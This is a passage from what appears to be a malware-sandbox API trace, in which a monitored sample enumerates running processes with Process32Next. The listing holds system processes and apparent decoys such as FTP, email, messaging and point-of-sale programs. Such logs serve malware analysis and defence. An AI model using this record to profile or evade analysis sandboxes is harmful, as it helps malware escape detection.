lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.220] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.230] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.232] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.234] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.236] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.237] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.239] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.241] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.244] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.247] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.248] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.250] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.252] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0292.308] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0292.310] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0292.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0292.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0292.316] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0292.318] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0292.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0292.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0292.322] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0292.324] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0292.325] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0292.327] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0292.329] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0292.330] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0292.332] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0292.334] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0292.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0292.337] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0292.380] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0292.382] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0292.384] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0292.386] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0292.388] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0292.389] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0292.391] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0292.392] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0292.394] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0292.396] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0292.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0292.400] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0292.402] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0292.404] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0292.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0292.408] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0292.410] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0292.412] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0292.457] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0292.459] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0292.461] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0292.463] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0292.465] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0292.467] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0292.469] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0292.470] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0292.473] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0292.475] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0292.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0292.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0292.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0292.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0292.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0292.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0292.487] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0292.489] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0292.536] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0292.538] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0292.540] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0292.542] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0292.544] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0292.545] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0292.547] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0292.549] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0292.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0292.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0292.554] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 